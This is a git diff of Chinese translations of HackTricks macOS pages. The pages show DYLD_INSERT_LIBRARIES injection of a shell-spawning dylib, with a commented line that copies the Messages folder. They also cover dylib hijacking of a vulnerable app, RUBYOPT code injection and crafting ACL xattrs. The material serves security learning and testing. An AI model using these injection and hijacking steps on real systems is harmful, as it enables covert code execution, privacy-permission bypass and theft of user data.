* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## DYLD\_INSERT\_LIBRARIES 基本示例
|
||||
|
||||
**要注入的库**以执行shell:
|
||||
|
||||
**要注入的库** 以执行 shell:
|
||||
```c
|
||||
// gcc -dynamiclib -o inject.dylib inject.c
|
||||
|
||||
|
@ -35,9 +35,7 @@ execv("/bin/bash", 0);
|
|||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||
}
|
||||
```
|
||||
|
||||
攻击的二进制文件:
|
||||
|
||||
二进制攻击目标:
|
||||
```c
|
||||
// gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
@ -48,21 +46,23 @@ printf("Hello, World!\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
注入:
|
||||
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
```
|
||||
## Dyld Hijacking 示例
|
||||
|
||||
## Dyld劫持示例
|
||||
|
||||
目标易受攻击的二进制文件是`/Applications/VulnDyld.app/Contents/Resources/lib/binary`。
|
||||
目标易受攻击的二进制文件是 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="entitlements" %}
|
||||
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>[...]com.apple.security.cs.disable-library-validation[...]
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="LC_RPATH" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Check where are the @rpath locations
|
||||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
|
||||
|
@ -74,12 +74,11 @@ cmd LC_RPATH
|
|||
cmdsize 32
|
||||
path @loader_path/../lib2 (offset 12)
|
||||
```
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="@rpath" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Check librareis loaded using @rapth and the used versions
|
||||
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
|
||||
|
@ -89,14 +88,16 @@ current version 1.0.0
|
|||
compatibility version 1.0.0
|
||||
# Check the versions
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
根据前面的信息,我们知道它**没有检查加载的库的签名**,并且**试图从以下位置加载库**:
|
||||
根据之前的信息,我们知道它**没有检查加载库的签名**,并且**试图从以下位置加载库**:
|
||||
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
|
||||
然而,第一个不存在:
|
||||
|
||||
然而,第一个库并不存在:
|
||||
```bash
|
||||
pwd
|
||||
/Applications/VulnDyld.app
|
||||
|
@ -104,8 +105,7 @@ pwd
|
|||
find ./ -name lib.dylib
|
||||
./Contents/Resources/lib2/lib.dylib
|
||||
```
|
||||
|
||||
所以,它是可以被劫持的!创建一个库,**执行一些任意代码并通过重新导出来导出相同的功能**作为合法库。并记得使用期望的版本进行编译:
|
||||
所以,可以劫持它!创建一个库,**执行一些任意代码并通过重新导出相同的功能**来导出与合法库相同的功能。并记得使用预期的版本进行编译:
|
||||
|
||||
{% code title="lib.m" %}
|
||||
```objectivec
|
||||
|
@ -127,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
在库中创建的重新导出路径是相对于加载器的,让我们将其更改为要导出的库的绝对路径:
|
||||
在库中创建的重新导出路径是相对于加载器的,让我们将其更改为库的绝对路径以进行导出:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -148,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
最后只需将其复制到**劫持位置**:
|
||||
最后将其复制到**劫持的位置**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -156,35 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
然后**执行**二进制文件并检查**库是否被加载**:
|
||||
并**执行**二进制文件并检查**库是否已加载**:
|
||||
|
||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
</strong>Usage: [...]
|
||||
</strong>用法: [...]
|
||||
</code></pre>
|
||||
|
||||
{% hint style="info" %}
|
||||
关于如何利用这个漏洞滥用 Telegram 的摄像头权限的详细说明可以在 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) 找到。
|
||||
关于如何利用此漏洞滥用Telegram的相机权限的详细说明可以在 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) 找到。
|
||||
{% endhint %}
|
||||
|
||||
## 更大规模
|
||||
|
||||
如果您计划尝试在意外的二进制文件中注入库,您可以检查事件消息以找出库何时加载到进程中(在这种情况下删除 printf 和 `/bin/bash` 执行)。
|
||||
|
||||
如果您计划尝试在意外的二进制文件中注入库,您可以检查事件消息以找出库何时在进程中加载(在这种情况下,移除printf和`/bin/bash`执行)。
|
||||
```bash
|
||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Ruby 应用程序注入
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持 HackTricks 的方式:
|
||||
|
||||
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## RUBYOPT
|
||||
|
||||
使用这个环境变量可以在每次执行 **ruby** 时**添加新的参数**。虽然不能使用参数 **`-e`** 来指定要执行的 ruby 代码,但可以使用参数 **`-I`** 和 **`-r`** 来添加一个新的文件夹到库加载路径,然后**指定一个要加载的库**。
|
||||
使用此环境变量,可以在每次执行 **ruby** 时 **添加新参数**。虽然参数 **`-e`** 不能用于指定要执行的 ruby 代码,但可以使用参数 **`-I`** 和 **`-r`** 来将新文件夹添加到库加载路径,然后 **指定要加载的库**。
|
||||
|
||||
在 **`/tmp`** 中创建库 **`inject.rb`**:
|
||||
|
||||
|
@ -24,42 +25,35 @@
|
|||
```ruby
|
||||
puts `whoami`
|
||||
```
|
||||
```ruby
|
||||
# hello.rb 内容
|
||||
puts "Hello, world!"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
创建一个 Ruby 脚本,例如:
|
||||
在任何地方创建一个 ruby 脚本,如下所示:
|
||||
|
||||
{% code title="hello.rb" %}
|
||||
```ruby
|
||||
puts "Hello, world!"
|
||||
```
|
||||
{% endcode %}
|
||||
```ruby
|
||||
puts 'Hello, World!'
|
||||
```
|
||||
```markdown
|
||||
然后使用以下命令加载一个任意的ruby脚本:
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
然后让一个任意的 Ruby 脚本加载它:
|
||||
```bash
|
||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
||||
```
|
||||
趣事,即使使用参数 **`--disable-rubyopt`** 也能工作:
|
||||
有趣的事实,即使使用参数 **`--disable-rubyopt`** 也有效:
|
||||
```bash
|
||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,33 @@
|
|||
# macOS xattr-acls extra stuff
|
||||
# macOS xattr-acls 额外内容
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||
{% endhint %}
|
||||
```bash
|
||||
rm -rf /tmp/test*
|
||||
echo test >/tmp/test
|
||||
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
|
||||
./get_acls test
|
||||
ACL for test:
|
||||
!#acl 1
|
||||
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||
|
||||
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
||||
|
||||
````
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>获取 ACLs 的代码</summary>
|
||||
<summary>获取 ACL 的代码</summary>
|
||||
```c
|
||||
// gcc -o get_acls get_acls
|
||||
#include <stdio.h>
|
||||
|
@ -61,47 +67,103 @@ acl_free(acl);
|
|||
acl_free(acl_text);
|
||||
return 0;
|
||||
}
|
||||
````
|
||||
|
||||
\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\`
|
||||
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
||||
mkdir start
|
||||
mkdir start/protected
|
||||
./set_xattr start/protected
|
||||
echo something > start/protected/something
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>set_xattr 的代码</summary>
|
||||
<summary>set_xattr的代码</summary>
|
||||
```c
|
||||
// gcc -o set_xattr set_xattr.c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/xattr.h>
|
||||
#include <sys/acl.h>
|
||||
|
||||
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
|
||||
|
||||
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
|
||||
void print_xattrs(const char *filepath) {
|
||||
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
|
||||
if (buflen < 0) {
|
||||
perror("listxattr");
|
||||
return;
|
||||
}
|
||||
|
||||
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
|
||||
char *buf = malloc(buflen);
|
||||
if (buf == NULL) {
|
||||
perror("malloc");
|
||||
return;
|
||||
}
|
||||
|
||||
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
|
||||
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
|
||||
if (buflen < 0) {
|
||||
perror("listxattr");
|
||||
free(buf);
|
||||
return;
|
||||
}
|
||||
|
||||
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
|
||||
printf("All current extended attributes for %s:\n", filepath);
|
||||
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
|
||||
printf("%s: ", name);
|
||||
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
|
||||
if (valuelen < 0) {
|
||||
perror("getxattr");
|
||||
continue;
|
||||
}
|
||||
|
||||
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
|
||||
char *value = malloc(valuelen + 1);
|
||||
if (value == NULL) {
|
||||
perror("malloc");
|
||||
continue;
|
||||
}
|
||||
|
||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
|
||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
|
||||
if (valuelen < 0) {
|
||||
perror("getxattr");
|
||||
free(value);
|
||||
continue;
|
||||
}
|
||||
|
||||
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
|
||||
value[valuelen] = '\0'; // Null-terminate the value
|
||||
printf("%s\n", value);
|
||||
free(value);
|
||||
}
|
||||
|
||||
free(buf); }
|
||||
free(buf);
|
||||
}
|
||||
|
||||
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
|
||||
|
||||
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
|
||||
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
|
||||
const char *filepath = argv[1];
|
||||
|
||||
print\_xattrs(filepath);
|
||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
|
||||
if (result == 0) {
|
||||
printf("Extended attribute set successfully.\n\n");
|
||||
} else {
|
||||
perror("setxattr");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0; }
|
||||
print_xattrs(filepath);
|
||||
|
||||
````
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create appledoublefile with the xattr entitlement
|
||||
ditto -c -k start protected.zip
|
||||
|
@ -115,19 +177,24 @@ rm -rf protected.zip
|
|||
zip -r protected.zip protected ._protected
|
||||
rm -rf protected
|
||||
rm ._*
|
||||
````
|
||||
|
||||
```
|
||||
|
||||
</div>
|
||||
```
|
||||
|
||||
{% endcode %}
|
||||
```bash
|
||||
# Check if it worked
|
||||
ditto -x -k --rsrc protected.zip .
|
||||
xattr -l protected
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
# macOS沙箱
|
||||
# macOS Sandbox
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
## Basic Information
|
||||
|
||||
MacOS沙箱(最初称为Seatbelt)**限制在沙箱内运行的应用程序**执行的操作,以**符合应用程序运行时使用的沙箱配置文件中指定的允许操作**。这有助于确保**应用程序只能访问预期的资源**。
|
||||
MacOS Sandbox(最初称为 Seatbelt)**限制应用程序**在沙箱内运行时的**允许操作,这些操作在应用程序运行的沙箱配置文件中指定**。这有助于确保**应用程序仅访问预期的资源**。
|
||||
|
||||
